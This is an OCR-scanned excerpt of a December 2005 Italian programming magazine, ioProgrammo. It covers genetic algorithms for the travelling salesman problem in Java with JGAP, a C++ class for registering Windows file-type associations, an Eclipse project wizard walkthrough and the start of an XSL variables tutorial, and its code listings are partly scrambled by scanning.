solo nel mondo dei 
trasporti ma anche, ad 
esempio, sull'instrada- 
mento dei pacchetti via 
Internet per certe appli- 
cazioni. 



San Francisco 



Londra 




Nuova 
Zelanda 



Tokyo 



Bahrain 



Cairo 



Fig.l: Si noti il crescere della complessità al variare di X 



Fig.2: Una rappresentazione schematica del problema del commesso viaggiatore 

In generale i grafi possono essere orientati, que- 
sto avviene quando si vuole distinguere l'arco 
che va dal NODO A al NODO B rispetto a quello 
che dal NODO B va al NODO A. Nei casi in cui 
tale distinzione non si rende necessaria si utiliz- 
za un solo arco considerandolo valido per 
entrambe le direzioni. 

Come si vede dalla Figura 2 abbiamo associato 
ad ogni nodo del grafo una città ed ad ogni arco 



http://www.ioprogrammo.it 



Dicembre 2005 79 ► 



BACKSTAGE T ■ Algoritmi genetici 




LÉONARD 
M. ADLEMAN 

Ha conseguito il dotto- 
rato in informatica nel 
1976 all'Università del- 
la California a Berkley. 
Nel 1977 è entrato al 
Dipartimento di Mate- 
matica del MIT, dove si 
è specializzato nella 
teoria degli algoritmi 
numerici ed è stato 
uno degli inventori del 
sistema di crittografia 
a chiave pubblica RSA 
(la «A» sta per Adle- 
man). Subito dopo es- 
sere entrato nella Fa- 
coltà di informatica 
della University of 
Southern California, è 
stato "coinvolto" nella 
comparsa dei virus in- 
formatici. 



un collegamento esistente tra una città e l'altra. 
Possiamo poi associare ad ogni arco un'etichet- 
ta che definisca il peso dell'arco stesso; nel no- 
stro caso potrebbe essere il tempo necessario a 
percorrere il tragitto o la distanza che separa le 
due città collegate dall'arco. 
Riassumendo quanto detto sopra, possiamo de- 
finire il nostro problema in questi termini: 

dato un grafo trovare il percorso a minor costo 
che passi per tutti i nodi una ed una sola volta. 

La soluzione, leggendo il problema così posto, 
sembra abbastanza banale: generare tutti i per- 
corsi possibili e scegliere quello a minor costo; 
più facile a dirsi che a farsi! 
Valutiamo allora la complessità dell'algoritmo 
proposto e mettiamoci nel caso peggiore, cioè 
quando ogni nodo è connesso con tutti gli altri 
in modo tale da avere il maggior numero di 
archi possibile. 

In un grafo di N nodi possiamo quindi scegliere 
N possibili città di partenza; per ogni città di 
partenza dovremmo poi considerare come 
secondo passo altre N-l possibili città. Ci accor- 
giamo così che già solo al secondo passo dob- 
biamo considerare N(N-1)=N 2 -N percorsi, cioè 
appena iniziato l'algoritmo ci troviamo di fron- 
te ad un OCN 2 ). Continuando, il terzo passo ci 
costringerà, per ognuna delle N-l città rimaste, 
a valutare N-2 altre città, ottenendo così N(N- 
l)(N-2) percorsi. 

Sarà quindi ormai evidente che bisognerà ripe- 
tere questo ragionamento fino ad esaurire tutte 
le città, quindi la nostra complessità sarà pari a 
T(N)=N*(N-1)-(N-2)*N(-3)*...*2*1; ossia abbia- 
mo T(N)=N!, una complessità fattoriale nean- 
che più polinomiale (da cui la definizione NP 
cioè non polinomiale). 

Per farci un'idea di quante combinazioni generi 
questo algoritmo basta osservare che un grafo 
con soli 25 nodi produce ben 15,51- IO 24 percor- 
si, ossia, "arrotondando" per difetto, un numero 
pari a 15 seguito da 24 zeri. È ovvio quindi che 



CASI DI COMPLESSITÀ 



La funzione di costo 
T(N) viene solitamente 
valutata nei casi 
peggiore, migliore e 
medio. I primi due casi 
corrispondono 
rispettivamente al 
valore massimo e 
minimo che la 
funzione può assume, 
mentre il terzo viene 
valutato su una 



configurazione 
"statisticamente 
media" dei dati in 
ingresso. Noi ci 
occuperemo del caso 
peggiore, in questo 
caso si è interessati 
all'andamento della 
funzione con W-»=o, 
cioè quando 
l'ammontare dei dati 
in ingresso assume 



valori molto grandi 
Esiste inoltre la 
possibilità di calcolare 
la complessità spaziale 
che tiene conto non 
del numero dei passi 
necessari per trovare 
una soluzione, ma di 
quanta memoria 
l'algoritmo necessita 
per essere portato a 
termine. 



nella pratica un simile algoritmo non sarà ap- 
plicabile. 



UNA POSSIBILE 

SOLUZIONE: 

GLI ALGORITMI GENETICI 

Gli algoritmi genetici sono nati proprio per risol- 
vere molti problemi computazionali in cui è 
necessario ricercare la soluzione tra un numero 
enorme di possibili alternative. I campi dove essi 
possono essere applicati sono molteplici: Econo- 
mia, Sistemi immunitari, Ecologia, Genetica 
delle popolazioni, Sistemi sociali, Problemi di ot- 
timizzazione; proprio quest'ultimo è il nostro 
caso. 

Per chi si fosse perso lo scorso articolo, o non lo 
avesse bene in mente, riprendiamo brevissima- 
mente i concetti base degli AG. 
Diciamo che tutto si basa sulla teoria evolutiva di 
Darwin e su come le informazioni di ogni essere 
vivente siano codificate all'interno del DNA. 
Si parte da una popolazione di individui "immer- 
sa" in un determinato ambiente. Ogni individuo, 
codificato da un cromosoma, rappresenta una 
possibile soluzione al problema che stiamo ten- 
tando di risolvere. D'altro canto, il problema 
stesso, è proprio l'ambiente in cui faremo evolve- 
re la nostra popolazione di soluzioni. Come già 
probabilmente saprete, la teoria di Darwin po- 
stula che gli individui che meglio si adattano 
all'ambiente hanno maggiore probabilità di 
sopravvivere e quindi anche di riprodursi, tra- 
mandando così i propri caratteri ereditari alla 
generazione successiva. 

Inoltre, onde evitare che dopo un certo numero 
di generazioni si abbiano individui troppo simili 
tra loro, è necessario prevedere anche che, di 
tanto in tanto, alcuni individui mutino il proprio 
patrimonio genetico; solitamente si muta un 
solo gene del cromosoma scelto per tale proce- 
dura, in modo tale da evitare che abbia degli ef- 
fetti distruttivi all'interno della popolazione stes- 
sa. In questo modo se la mutazione produce un 
individuo migliore per quel problema, esso avrà 
buone probabilità di essere scelto per incrociarsi 
con un altro cromosoma e quindi generare dei 
discendenti che porteranno parte del proprio 
patrimonio genetico; al contrario se, a seguito 
della mutazione, si genera un cromosoma ina- 
datto all'ambiente esso verrà scartato "natural- 
mente" e nelle generazioni successive non se ne 
avrà più traccia. 

Possiamo sintetizzare quindi un algoritmo gene- 
tico nei seguenti punti; 

1. Inizializza una popolazione formata da N 



* 80 /Dicembre 2005 



http://www.ioprogrammo.it 



Algoritmi genetici ■ T BACKSTAGE 



cromosomi ciascuno dei quali composto da 
^Tgerii. 

2. Calcolare l'idoneità di ogni cromosoma x 
mediante la fitness function f(x). 

3. Ripetere i seguenti passaggi finché non si è 
raggiunta una popolazione di N cromosomi 

a) Seleziona una coppia di cromosomi. 

b) Genera una nuova coppia cromosomica 
discendente mediante il crossover con 
una probabilità Pc. 

e) Se l'incrocio non avviene clonare la cop- 
pia di cromosomi così com'è. 

d) Muta ogni gene dei due cromosomi così 
ottenuti con una probabilità Pm. 

4. Rimpiazza la generazione precedente con 
quella nuova ottenuta dai passi 1-3. 

5. Tornare al punto 2 finché non viene verifica- 
ta la condizione di STOP 



Initialise Population 



Evaluate -*- 



Selection 



Crossover 



Mutation 



No 



Termination 
Criterion? 

Yes 
Solution Set 



Il flow chart in Figura 3 schematizza tale algorit- 
mo. Due domande potrebbero nascere sponta- 
nee. La prima è ma come faccio a stabilire quan- 
to una soluzione sia "buona" per il mio proble- 
ma? 

La risposta a questa domanda è contenuta nel 
punto 2 dell'algoritmo sopra esposto. La fitness 
function infatti non è altro che una funzione che 
riceve in ingresso un cromosoma e restituisce un 
valore doublé che indica il grado di adattamento 
del cromosoma stesso. 

Venendo al codice, noi utilizzeremo la libreria 
jgap, scaricabile su sourceforge o direttamente 
dal ed, che mette a disposizione la classe astrat- 
ta FitnessFunction che andremo ad implementa- 
re. Il nostro grafo sarà memorizzato in una ma- 
trice di doublé dove vengono inseriti i valori de- 
gli archi. 

public class RouteFitness extends FitnessFunction 
{ 

public RouteFitness(double[][] route, int start) 

{ 

map = new double[route.length][route.length]; 



for(int i=0; i<route.length; i++) 



System. arraycopy(route[i],0,map[i],0,route[i] 

.length); 



this. start = start; 



Fìg. 3: Il flow chart di un algoritmo genetico 



} 



Quindi il nostro problema è così codificato: ad 
ogni città è associato un numero intero, di con- 
seguenza, per sapere quanto costa muoversi 
dalla città Al alla città A2 basterà consultare la 
matrice route e prendere il valore route [Al ][A2]. 
Inoltre, nel costruttore, dobbiamo anche speci- 
ficare l'indice della città di partenza. Questo è 
un ulteriore vincolo che poniamo al nostro pro- 
blema per renderlo più realistico, cioè poniamo 
che il commesso viaggiatore sia costretto a par- 
tire sempre dalla stessa città dove ha il proprio 
ufficio. 

Il metodo evaluate calcola quindi il costo com- 
plessivo del percorso e ne restituisce il suo inver- 
so poiché maggiore sarà il costo minore dovrà 
essere il suo valore di fitness. 

protected doublé evaluate(Chromosome argO) 

{ 

Gene[] path =arg0.getGenes(); 

int first = ((IntegerGene)path[0]).intValue(); 
doublé costPath = map[start] [first]; 
for(int 1=1; i<path. length; i + + ) 

{ 

int from = ((IntegerGene)path[i-l]).intValue(), 
to = ((IntegerGene)path[i]).intValue(); 
costPath+= map[from][to]; 





GLOSSARIO 



COS'È 

UN NUMERO 
FATTORIALE? 

Un numero fattoriale x 
si indica con la dicitu- 
ra x!=x*(x-1)l e per 
definizione 01=1. 
Ad esempio: 

4!=4*3!=4*3*2!=4*3*2 
*1 1=4*3*2*1*01=24 



http://www.ioprogrammo.it 



Dicembre 2005/ 81 ► 



BACKSTAGE T ■ Algoritmi genetici 




} 




5\ SUL WEB 



Anche questa volta si è 
scelta una libreria 
open-source, JGAP 
(Java Genetic Algo- 
rithms Project) ospita- 
to su sourceforge 
all'indirizzo http://jqap 
.sourceforge.net/ . 
Sul sito troverete an- 
che una proposta su 
come affrontare il pro- 
blema del commesso 
viaggiatore diversa da 
quella qui presentata. 



return 1/costPath; 



I BLOCCHI COSTITUTIVI 

La seconda domanda che ci si potrebbe porre è 
un po' più sottile della prima: qual è il vantaggio 
di usare gli algoritmi genetici se poi bisogna ge- 
nerare un popolazione con un numero di indivi- 
dui molto elevato per coprire il maggior numero 
di percorsi possibili? Uno dei grandi punti di 
forza degli algoritmi genetici sta proprio nel fat- 
to che un singolo cromosoma in realtà porta con 
sé non solo la propria soluzione ma ne porta an- 
che molte altre parziali. Cerchiamo di approfon- 
dire meglio questo concetto. Per far ciò utilizzia- 
mo la notazione di Holland il quale introdusse 
anche la nozione di schema. Uno schema è un 
insieme di stringhe di bit che codificano un cro- 
mosoma e che possono essere descritte da un 
modello costituito da 1, e * (caratteri jolly). 
Facciamo un esempio per capire meglio ciò di 
cui stiamo parlando: lo schema S = 0***1 rap- 
presenta l'insieme di tutte le stringhe di cinque 
bit che cominciano con e finiscono con 1; tutti 
i cromosomi che hanno questa proprietà si dico- 
no istanze dello schema S. Quindi ogni cromoso- 
ma di lunghezza L può essere istanza di 2 L sche- 
mi; perciò una popolazione di n cromosomi 
potrà istanziare un numero di schemi compresi 
tra 2 L e n2 L , che corrispondono rispettivamente 
ai due casi limite in cui, nel primo tutti i cromo- 
somi sono uguali, mentre nell'altro sono tutti 
diversi. Da ciò si può capire come ad ogni gene- 
razione non venga valutata esclusivamente l'i- 
doneità di ogni singolo cromosoma ma anche 
l'idoneità media di un numero molto più ampio 
di schemi, cioè la media delle idoneità di tutti i 
cromosomi corrispondenti. In questo senso un 
algoritmo genetico funziona come se queste 
medie venissero effettivamente calcolate e 
memorizzate; questo aspetto viene spesso chia- 
mato anche parallelismo implicito. 



LA CLASSE 
VIAGGIATORE 

Per motivi di spazio, non verrà riportato l'intero 
codice, presentandone invece solo i tratti salien- 
ti, rimando quindi al CD allegato per una visione 
completa. La prima cosa da fare è definire una 
classe di configurazione prevista dajgap per de- 
finire alcune caratteristiche dell'algoritmo di 
Figura 3. La configurazione di default imple- 
mentata dalla libreria stessa risulta non adatta ai 
nostri scopi; infatti uno dei vincoli che il nostro 



problema ci impone è che le città siano toccate 
tutte una ed una sola volta, ciò implica che ogni 
cromosoma deve essere composto da geni tutti 
diversi tra loro, dato che ogni gene codifica una 
città. Questa proprietà deve essere garantita sia 
nella fase di crossover sia in quella di mutazione. 
Per far ciò si è implementato il seguente metodo 
statico: 

public static Configuration createConfiguration(){ 



config.addGeneticOperator(new GreedyCrossover()); 
config.addGeneticOperator(new 

SwappingMutationOperator(20)); 



return config; 



} 



Per rendere più fruibile tale classe si associano 
delle etichette alla matrice dei costi con i nomi 
delle città. 

public Viaggiatore(String[] label, double[][] table){ 

this. label = new String[label.length]; 

System. arraycopy(label,0,this.label,0, label, length); 

this.table = new double[table.length][table. length]; 

for(int i=0; i<table.length;i+ + ) 

System. arraycopy(table[i],0, 

this.table[i],0,table[i]. length); 
} 

Il metodo che invece permette di trovare il per- 
corso è bestPath; analizziamone le parti salienti: 

public String[] bestPath(String cityStart) throws 

Exception { 
int start = find(cityStart); 
Chromosome best = evolve(start); 
Gene[] sol = best.getGenes(); 



for(int 1=1; i<path. length; i+ + ) 

path[i] = new String(label[((IntegerGene) 

sol[i-l]).intValue()]); 



return path; 



} 



Come si può notare prima di tutto si cerca l'indi- 
ce della città di partenza, se non viene trovata il 
metodo find lancia un'eccezione. Dopodiché si 
lascia evolvere la popolazione, una volta termi- 
nato, si prende la soluzione migliore e la si map- 
pa sull'array di etichette in modo tale da restitui- 
re il percorso trovato sotto forma di nomi di città 
invece che di indici numerici. 
La cosa interessante è dunque vedere come fun- 
ziona la parte evolutiva di questa classe che è 
contenuta nel metodo evolve. 



*, 82 /Dicembre 2005 



http://www.ioprogrammo.it 



Algoritmi genetici ■ T BACKSTAGE 



private Chromosome evolve(int start){ 
doublé stopCondition = 1/acceptableCost; 
RouteFitness fitness = new RouteFitness(table,start); 



Configuration conf = createConfiguration(); 
IntegerGene[] sample = new 

IntegerGene[label.length-l]; 



a_genes[p] = t; 



Per quanto riguarda il settaggio della configura- 
zione non c'è niente di particolare, basta cono- 
scere un po' di incapsulamento in Java. L'ultimo 
aspetto da notare è invece il ciclo di evoluzione 
delle soluzioni: 




Innanzitutto, è necessario istanziare gli elemen- 
ti fondamentali per gli algoritmi genetici, che so- 
no: una condizione di terminazione dell'algorit- 
mo evolutivo, una funzione di fitness, la configu- 
razione dei parametri e degli operatori genetici 
ed infine un cromosoma che funga da prototipo 
per l'inizializzazione della popolazione. In parti- 
colare questo ultimo aspetto merita un po' d'at- 
tenzione. Abbiamo infatti già fatto notare come 
sia necessario che un cromosoma contenga tutte 
le città una ed una sola volta, per cui non possia- 
mo avvalerci di un generatore random di nume- 
ri interi perché ci sarebbe una grandissima pro- 
babilità che generi due numeri uguali all'interno 
dello stesso cromosoma. Allo stesso tempo vo- 
gliamo che le disposizioni dei geni (quindi delle 
città) siano il più possibile diverse da un cromo- 
soma all'altro. 

Per ottenere tutto questo si è proceduto così: si è 
generato un unico cromosoma contenente tutte 
le città (tranne quella di partenza poiché è una 
costante nel nostro problema) poi, partendo da 
esso, si creano tanti cloni a seconda della dimen- 
sione desiderata della popolazione. Fatto ciò, 
ogni clone viene selezionato e i suoi geni vengo- 
no mescolati nelle posizioni in maniera del tutto 
casuale. L'estratto di codice seguente indica 
quanto detto: 



int count = 0; 



do{ 



population.evolve(); 



best = fitness. evaluate( 

population.getFittestChromosomeO); 



System. out.println(l/best); 



count+ + ; 



}while(best<stopCondition && count<max_iter); 



return population.getFittestChromosome(); 



} 



Come si può notare in realtà le condizioni di ter- 
minazione sono due, una riguarda il costo accet- 
tabile per il quale l'algoritmo può terminare, l'al- 
tra riguarda il numero massimo di cicli che l'al- 
goritmo può compiere in modo tale da evitare 
che esso continui all'infinito qualora la prima 
condizione sia troppo restrittiva. 
Per concludere riporto un semplice script d'e- 
sempio per la classe Viaggiatore. 

String[] label = new String[]{"Genova", 

"Milano", "Tori no", "Bologna", M Firenze","Ancona", 
"Pescara", "Roma", "Napoli", "Bari", "Reggio"}; 
double[][] table = new double[label.length] 

[label, length]; 




3B> CONTATTA 
L'AUTORE 



Laureato all'università 
Politecnica delle 
Marche, lavora presso 
un gruppo nazionale 
leader nel campo delle 
tecnologie e dei servizi 
IT. Nei limiti della 
disponibilità di tempo 
risponde all'indirizzo 
andreaqaleazzi@fsfe.org 



for(int i=0; i<label. length; i++) 



if(i!=start){ 



sample[index] = new IntegerGene(0,label.length-l); 
sample[index].setAllele(new Integer(i)); 
index+ + ; 



shuffle(sample); 



Viaggiatore viaggiatore = new 

Viaggiatore( label, table); 



viaggiatore. setAcceptableCost(2. 8); 



String[] path = nuli 



try { 



path = viaggiatore. bestPath("Torino"); 



protected void shuffle(Gene[] a_genes) { 



Gene t; 



// shuffle: 



for (int r = 0; r < 10 * a_genes. length; r++) { 
for (int i = m_startOffset; i < 

a_genes. length; i++) { 
int p = m_startOffset +Genotype 
.getConfiguration().getRandomGenerator(). 
nextlnt(a_genes. length - m_startOffset); 
t = a_genes[i]; 
a_genes[i] = a_genes[p]; 



CONCLUSIONI 

In questo articolo, abbiamo avuto la possibilità 
di toccare vari problemi dell'informatica. Le ap- 
plicazioni degli AG, pur investendo un gran nu- 
mero di discipline, rimangono comunque una 
soluzione di nicchia. Spero che questa breve pre- 
sentazione abbia suscitato in voi un po' di curio- 
sità che porterà ad approfondire questo vasto 
campo dell'intelligenza artificiale. 

Andrea Galeazzi 



http://www.ioprogrammo.it 



Dicembre 2005/ 83 ► 



EXPRESS T 



Associare un tipo di file 
ad un programma 



In questo express andre- 
mo a vedere come asso- 
ciare una tipologia di file 
ad un programma in 
modo automatico. 
Realizzeremo una classe 
che ci aiuterà ad utoma- 
tizzare un processo abba- 
stanza noioso come quel- 
lo di permettere ad un 
programma di aprire un 



file attraverso il doppio 
click del mouse su di 
esso. Vedremo come asso- 
ciare più estensioni allo 
stesso programma e come 
associare altre operazioni 
al tipo di file. Per ultima 
cosa andremo a vedere 
come cambiare l'icona 
associata al tipo di file in 
questione. Logicamente 



l'esempio è valido solo 
sotto ambiente Windows e 
le informazioni vengono 
salvate sul registro di 
configurazione. Quindi 
ora andiamo a vedere 
come realizzare la classe 
appena descritta in modo 
veloce e semplice. Ciò di 
cui abbiamo bisogno è un 
compilatore c++, un edi- 



tor di testo e un po' di 
dimestichezza con c++. 
Per realizzare il seguente 
esempio ho utilizzato 
Dev-C++ un ambiente di 
sviluppo c++ freeware. 
Dev-C++ è scaricabile 
gratuitamente dal sito 
web : www.bloodshed.net 

Stefano Vena 



<1> LE PRIME RIGHE DI CODICE 



«include <windows.h> 



«include <stdio.h> 



class Associazione 



{ private : 



char executableName[ MAX.PATH ]; 

const char* typeFile; 
void scriviReg( const char* Key, 
const char* value ){ 

HKEY hKey; 

if( RegCreateKey ( HKEY.CLASSES.ROOT, 

Key ,&hKey) == ERR0R.SUCCES5) 

{ RegSetValue( hKey, NULL, REG.SZ , value, 

strlen(value)); } } 

Realizzeremo la classe, per comodità, in modo inline. 
Dal momento che le informazioni verranno scritte sul 
file di registro di Windows andiamo a realizzare una fun- 
zione che ci permetterà di creare una chiave di registro 
e scrivere un valore sulla sua proprietà di default. 
Tutti i dati saranno scritti nella chiave di root HKEY_ 
CLASSES ROOT. 



<4> ASSOCIARE UN'ICONA 

void Nuovalcona(const char * filename, int index, 

bool islcon ){ 

char path [ MAX.PATH + 10 ]; 

char KeyTxt [ 500 ]; 

if( filename != NULL ) 

GetShortPathName(filename, path, strlen(filename)); 

else 

strcpy( path, executableName ); 

if( Hslcon ) 

sprintf( path , "%s,%d", path, index ); 

sprintf( KeyTxt, "%s\\Defaultlcon", typeFile ); 
scriviReg( KeyTxt , path ); } 



filename identifica il file che contiene la risorsa se esso 
è nullo viene utilizzato il riferimento al nostro program- 
ma. Index identifica l'indice della risorsa all'interno del 
file, filename punta ad un file di tipo icona 



<2> IL COSTRUTTORE 

public: 

Associazione(const char* typefile, const char* 

descrizione, const char* aprilnfo ) { 
GetModuleFileName ( NULL, executableName, 

MAX.PATH); 

typeFile = typefile; 

GetShortPathName(executableName, executableName, 
strlen(executableName)); 

scriviReq( typefile , descrizione ); 

char KeyTxt [ 500 ]; 

sprintf( KeyTxt, "%s\\shell\\open\\", typeFile ); 

scriviReg( KeyTxt, aprilnfo ); 

strcat( KeyTxt, "WcommandW"); 

char command [ MAX.PATH + 10 ]; 

sprintff. command , "\"%s\" \"%%1\"", 

executableName ); 
scriviReg( KeyTxt, command ); } 

Per prima cosa otteniamo i percorso completo del pro- 
gramma all'interno del quale stiamo eseguendo il codi- 
ce, attraverso la funzione GetModuleFileName. A questo 
punto è necessario trasformare il path ottenuto in for- 
mato ShortPath, attraverso GetShortPathName, poiché 
il registro trova difficoltà nella gestione dei percorsi 
lunghi. Ora siamo pronti per registrare il nostro tipo di 
file e associare l'operazione di apertura al nostro pro- 
gramma. I dati vengono scritti con la funzione, vista in 
precedenza, scrivìReg. 



<5> LA CLASSE IN AZIONE! 

Associazione *as 

as = new AssociazioneC'Tipo.di.Prova", "Il mio tipo 

di file", "SApri con Prova" ); 

as.NuovaEstensioneC. prova"); 

as.Nuovalconal NULL, 1 , false ); 

Registriamo un nuovo tipo di file e vi associamo una 
descrizione ed il nome dell'operazione di apertura. Poi 
associamo al nostro tipo di file l'estensione ".prova" e 
l'icona con indice 1 contenuta nel nostro programma. 



<3 GESTIRE LE ESTENSIONI 

void NuovaEstensione(const char* ext) 

{ 

scriviReq( ext , typeFile ); 

} 

Questa funzione compie un'operazione molto sem- 
plice: associa un'estensione al tipo di file registra- 
to. L'estensione deve essere completa del punto. 
Aggiungere nuovi tipi di file è cosi facile come so- 
vrascriverne degli esistenti. 
Ad esempio se noi decidessimo di associare al no- 
stro programma l'estensione "exe'Tion otterremmo 
alcun messaggio di errore ma renderemmo impossi- 
bile l'esecuzione di programmi direttamente da 
Explorer. 

È dunque importante prestare molta attenzione alle 
operazioni che andremo a compiere. 



<G> IL RISULTATO 



{$- -J 




^^^^m Nutepdd++ '"'■■'-■ 
5can with AVG Free 
1 Apri con... 
^Aggiungi ad un archivio,.. 
^Aggiungi all'archivio "file.rar" 
^Comprimi ed invia via email. , . 
^Comprimi in "file.rar" ed invia via email 


1 Invia a ► 


Taglia 
1 Copia 


1 Crea collegamento 
1 Elimina 
1 Rinomina 


1 Proprietà 



Questo è il risultato: l'operazione "Apri con prova" 
appare nel menu contestuale associato alla pressione 
del tasto destro del mouse. 
E 1 possibile anche aprire il file agendo con il doppio 
click su di esso. 

Concludo ricordando ancora che cambiare le associa- 
zioni ai tipi di file è un'operazione delicata e, fatta in 
modo errato, può causare danni al sistema. 



^ 84 /Dicembre 2005 



http://www.ioprogrammo.it 



T EXPRESS 



Creazione di un'applicazione 
standalone con il wizard di Eclipse 



Le possibilità messe a 
disposizione da java 
sono praticamente illimita- 
te. A volte però a prescin- 
dere dall'ambiente di svi- 
luppo sarebbe auspicabile 
un'automatizzazione di 
alcuni processi di routine. 
In questa direzione l'ottimo 
IDE eclipse per lo sviluppo 
di applicazioni java, più 
volte suggerito, ha messo a 



disposizione del program- 
matore un ottimo wizard. 
Esaminiamo come sia pos- 
sibile utilizzarlo per arrivare 
a creare, prima un progetto 
e all'interno di esso una 
classe pronta ad ospitare il 
codice per la realizzazione 
dell'applicazione finale 
standalone. L'obiettivo pre- 
fisso prevede non un applet 
o altri componenti ma la 



semplice realizzazione di 
un'applicazione SWT. 
Nell'esempio vedremo 
come in modo guidato si 
arriva facilmente alla pro- 
duzione della classe. Al 
programmatore resta solo il 
compito di inserire il codi- 
ce da mostrare nell'applica- 
zione finale. Ciò che cono- 
sciuto come editing della 
classe. Compito reso 



comunque facile dalla effi- 
ciente guida di eclipse. La 
versione a cui facciamo 
riferimento è Eclipse 3.0.2 
su piattaforma Windows XP. 
Da tenere presente che il 
tutto funziona anche sulle 
altre piattaforme. Passo 
zero aprire l'ambiente di 
sviluppo Eclipse. 

Fabio Grimaldi 



CI > APERTURA DI JAVA 
PERSPECTIVE 



<2> NUOVO PROGETTO 



<3> CREAZIONE DEL PROGETTO 



Window Help 


New Window 




Open Perspectìve ► 
Show View ► 


\èi\ CVS Repository Exploring 

^ J Java 

jpr Java Erowsing 

jg 1 - 1 Team Synchronizing 


Customize Perspectìve. . . 
Save Perspectìve As. . . 
Reset Perspectìve 
Close Perspectìve 
Close Ali Perspectìves 

Navigation ► 


Other... 




Preferences 



Inizialmente bisogna aprire l'ambiente di sviluppo 
specifico di java. Per selezionare tale ambiente si 
accede semplicemente dalla barra dei menu alla 
voce window, si opta per una nuova prospettiva con 
la voce open persective e dal sottomenu si sceglie 
appunto java. Si possono visionare gli altri ambien- 
ti proposti. 

< 4 AGGIUNGIAMO 
UNA CLASSE 



ggiungiamo al progetto una classe selezionando dal 
menu file la voce new> class. 
Apparirà una finestra di dialogo dove: andremo a spe- 
cificare il nome, ad esempio "CiaoMondo", e configu- 
reremo altre caratteristiche. Una da considerare è la 
creazione di una public static main da garantire se- 
gnando l'apposita spunta. In automatico apparirà il 
codice della classe. 



File Edit Navigate Seardi Project Run Window Help 



Close 
Close AH 



Ctrl+F4 

Ctrl+Shlft-H=4 



ysave 

19 Save As.. 

© Sa "' e Al1 
Revert 



Move... 

Renarne,. 

Reftesh 



f: 

F5 



- - Project... 



SS Package 
Class 
Interface 
£É Source Folder 
Q Folder 
fi* 
gSjUnitTestCase 



r;3 after,. 




Alla base di una nuova applicazione vi è un progetto. 
Si crea il nuovo progetto dal menu file new project. 
Apparirà una finestra di dialogo che consente di confi- 
gurare i particolari del progetto dove specificare le 
caratteristiche del sorgente, del progetto e delle libre- 
rie. Possiamo cliccare su finish e settare successiva- 
mente tali aspetti. 

SETTAGGIO DELLE 
PROPRIETÀ DEL PROGETTO 



Properties for mypr 



Info 

Builders 

java Build Patti 

Java Compiler 

Javadoc Location 

Java Task Tags 

Project References 




Con il tasto destro del mouse sul progetto si mostra 
il relativo menu da cui selezioniamo la voce pro- 
prietà. Bisogna configurare il percorso che il compi- 
latore usa per realizzare la l'applicazione SWT. Per 
cui si seleziona la voce Java Build Path e si sceglie 
la sotto cartella libraries. 



g New Java Project 



tdl 



Create a Java project 



Projectname: | mypr| 
-Location 

C Create project at esternai location 

Directory! - .'-" ." Tip ec ^s '^ypr Browse.. 



Project layout 

f* Use project folder as root for sourtes and dg 
' -■&?:& :*_■■!=■* -:.:■_ := ?■■■: e-... ■:>._.■ ^ :=■;. 



'":.:lfe,''5 ~5 V =, -l 



J. 



L'unico aspetto che curiamo nella creazione guida- 
ta del progetto e il fondamentale assegnamento 
del nome. Assegniamo come nome, ad esempio 
mypr, eventualmente settiamo le cartelle dove vo- 
gliamo redirigere i dati e terminiamo il processo 
con finish. Nella fasi successive configureremo il 
progetto. 

<6 SELEZIONE DELLE LIBRERIE 



Java Build Path 

& Source | \3 Projects B. Libraries | \ o r der and Euport | 
JARs and dass folders ori the build path: 

IBS swt.jar-C:\UNZIPlEdipse302tedipse^luginsy3r< AddJARs.. 

È wit JRF System Library Ij2rel.4.2_u5] 

Add Esternai JARs. 



Una volta nella sezione libraries bisogna aggiungere i 
percorsi corretti. Cliccare sul bottone add external jar. 
Ci si posiziona quindi nella cartella swt.jar ne\\a piat- 
taforma desiderata. Ad esempio per Windows esiste il 
la directory eclipse\ plugins\ org.eclipe.swt. Win32 
3.0.2\ ws \win32 dove selezionare il file swt. 



http://www.ioprogrammo.it 



Dicembre 2005/ 85 ► 




CORSI BASE ▼ 



I 



XSL 




Uso e abuso delle 
variabili in XSL 

Come tutti i linguaggi classici, anche XSL può fare uso di variabili. 
A differenza dei linguaggi tradizionali presentano però alcune 
peculiarità che ne rendono l'uso non immediato. Vediamo quali 




□ CD 

Xsl.zip 



□ WEB 

■JT, m „mm.M«mS 



REQUISITI 



UMAU.l.S.1.. 

Injì Conoscenze di XML 






J L^j LJ L^J _i 



Tempo di realizzazione 



Nelle precedenti puntate di questo corso ab- 
biamo definito XSL come un linguaggio ca- 
pace di trasformare un documento XML 
dal suo formato originario in un formato completa- 
mente diverso definito da noi. L'idea è molto sem- 
plice. Si prende un file XML e lo si dà in pasto a un 
foglio di stile in formato XSL si ottiene in uscita un 
nuovo file basato sul formato da noi definito in XSL. 
A sua volta un file XSL è strutturato in formato XML. 
Ciascun "Nodo" del file originale viene "processato" 
secondo le regole definite nel foglio di stile XSL. Per 
"Selezionare" i nodi viene utilizzato un linguaggio 
chiamato XPATH, così che ad un'insieme di nodi 
ottenuti da una query XPATH corrisponda una rego- 
la definita in XSL. Questa breve spiegazione può ap- 
parire fumosa, ma sarà sufficientemente chiara per 
coloro che hanno seguito la prima parte del corso, 
per gli altri acquisterà maggior senso nel corso della 
lettura di questo articolo. 

In questa seconda parte complicheremo legger- 
mente le cose. Inizieremo infatti ad affrontare alcu- 
ni elementi tipici di tutti i linguaggi di programma- 
zione. XSL così come la maggior parte dei linguaggi 
può far uso di "Variabili". Vedremo cosa sono e come 
funzionano in questo contesto. 



LE VARIABILI 

In qualunque linguaggio di programmazione una 
variabile corrisponde ad un "contenitore" di dati. 
Consideriamo questo esempio di pseudo-codice: 

a=l 
b=a + 2 

Abbiamo così creato una variabile (contenitore) "a" 
assegnandogli il valore 1 e successivamente una 
nuova variabile "b " alla quale viene assegnato valo- 
re corrispondente alla somma di "a " e del valore 2 [b 
assumerà in questo caso il valore 3). La variabile si 
chiama così perché il valore che gli viene assegnato 



può variare nel corso del programma: 

a = l // qui a vale 1 

b=a + 2 

a = b // da qui a vale 3 



DICHIARAZIONE 
DI VARIABILI 

In XSL è possibile dichiarare una variabile in due 
modi: attraverso l'elemento <xsl:param> o attraver- 
so l'elemento <xsl:variable>. Supponiamo di dispor- 
re un documento XML così composto 

<?xml version = "1.0"?> 
<?xml-stylesheet type="text/xsl" href= 

"va riabili. xsl"?> 
<indirizzi> 

<indirizzo> 

<ìd>l</id> 

<nome>Antonio</nome> 
<cognome> Rossi </cognome> 
<via>G. Verdi, 3</via> 
<comune>Roma</comune> 
</indirizzo> 
<indirizzo> 

<ìd>2</id> 

<nome>Giuseppe</nome> 
< cognome > Bianchi </cognome> 
<via>G. Rossini, 4</via> 
<comune>Milano</comune> 
</indirizzo> 
</indirizzi> 

E di voler sottoporre questo documento a una tra- 
